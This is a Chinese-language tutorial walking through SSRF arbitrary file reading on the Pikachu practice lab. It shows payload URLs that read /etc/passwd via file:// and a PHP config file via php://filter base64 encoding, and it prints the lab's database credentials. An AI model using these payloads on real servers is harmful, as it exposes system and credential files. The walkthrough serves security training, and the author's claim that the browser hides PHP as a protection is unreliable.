一.任意文件讀取
? ? ? ? http://192.168.112.12/pikachu-master/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
讀取文件使用 file://+文件路徑即可,這里我們換協議為file,然后從根目錄開始讀取。
/etc/passwd
我們這樣修改完url路徑后查看結果可以看到文件內容在頁面上回顯了:
下面我們來讀取一下靶場的敏感文件如/var/www/html/pikachu-master/inc/config.inc.php,
這個文件里面有啥我就不說了,之前我們配置靶場的時候在里面修改了一些東西:
可以看到只回顯了一個1,php代碼沒有出現在我們的頁面上,難道不能讀取php代碼嗎?
其實不然,我們右鍵1點擊查看,
代碼在開發者模式里面顯示,這里不顯示在頁面只是被瀏覽器注釋掉了,這可能是瀏覽器的某些防
護措施吧,防止后端代碼不被泄露。
<!--?php
//全局session_start
session_start();
//全局居設置時區
date_default_timezone_set('Asia/Shanghai');
//全局設置默認字符
header('Content-type:text/html;charset=utf-8');
//定義數據庫連接參數
define('DBHOST', '127.0.0.1');//將localhost或者127.0.0.1修改為數據庫服務器的地址
define('DBUSER', 'root');//將root修改為連接mysql的用戶名
define('DBPW', '123456');//將root修改為連接mysql的密碼,如果改了還是連接不上,請先手動連接下你的數據庫,確保數據庫服務沒問題在說!
define('DBNAME', 'pikachu');//自定義,建議不修改
define('DBPORT', '3306');//將3306修改為mysql的連接端口,默認tcp3306
?-->
這樣靶場的敏感配置文件就被讀取出來了,但其實我們還可以別的利用協議進行讀取:
http://192.168.112.12/pikachu-master/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-
encode/resource=/var/www/html/pikachu-master/inc/config.inc.php
如上這里利用filter讀取協議讀取根目錄下的敏感配置文件進行base64位編碼,然后讀取到頁面
上。
我們可以看到很長,我們雙擊復制下來:
?
PD9waHAKLy/lhajlsYBzZXNzaW9uX3N0YXJ0CnNlc3Npb25fc3RhcnQoKTsKLy/lhajlsYDlsYXorr7nva7ml7bljLoKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnQXNpYS9TaGFuZ2hhaScpOwovL+WFqOWxgOiuvue9rum7mOiupOWtl+espgpoZWFkZXIoJ0NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwovL+WumuS5ieaVsOaNruW6k+i/nuaOpeWPguaVsApkZWZpbmUoJ0RCSE9TVCcsICcxMjcuMC4wLjEnKTsvL+WwhmxvY2FsaG9zdOaIluiAhTEyNy4wLjAuMeS/ruaUueS4uuaVsOaNruW6k+acjeWKoeWZqOeahOWcsOWdgApkZWZpbmUoJ0RCVVNFUicsICdyb290Jyk7Ly/lsIZyb2905L+u5pS55Li66L+e5o6lbXlzcWznmoTnlKjmiLflkI0KZGVmaW5lKCdEQlBXJywgJzEyMzQ1NicpOy8v5bCGcm9vdOS/ruaUueS4uui/nuaOpW15c3Fs55qE5a+G56CB77yM5aaC5p6c5pS55LqG6L+Y5piv6L+e5o6l5LiN5LiK77yM6K+35YWI5omL5Yqo6L+e5o6l5LiL5L2g55qE5pWw5o2u5bqT77yM56Gu5L+d5pWw5o2u5bqT5pyN5Yqh5rKh6Zeu6aKY5Zyo6K+077yBCmRlZmluZSgnREJOQU1FJywgJ3Bpa2FjaHUnKTsvL+iHquWumuS5ie+8jOW7uuiuruS4jeS/ruaUuQpkZWZpbmUoJ0RCUE9SVCcsICczMzA2Jyk7Ly/lsIYzMzA25L+u5pS55Li6bXlzcWznmoTov57mjqXnq6/lj6PvvIzpu5jorqR0Y3AzMzA2Cgo/Pgo=
利用bp進行base64解碼:
這里我發現亂碼的,算了還是在kali里面解碼吧:
然后結果就出來了。
你也可以利用在線解碼:https://base64.us/網站。
?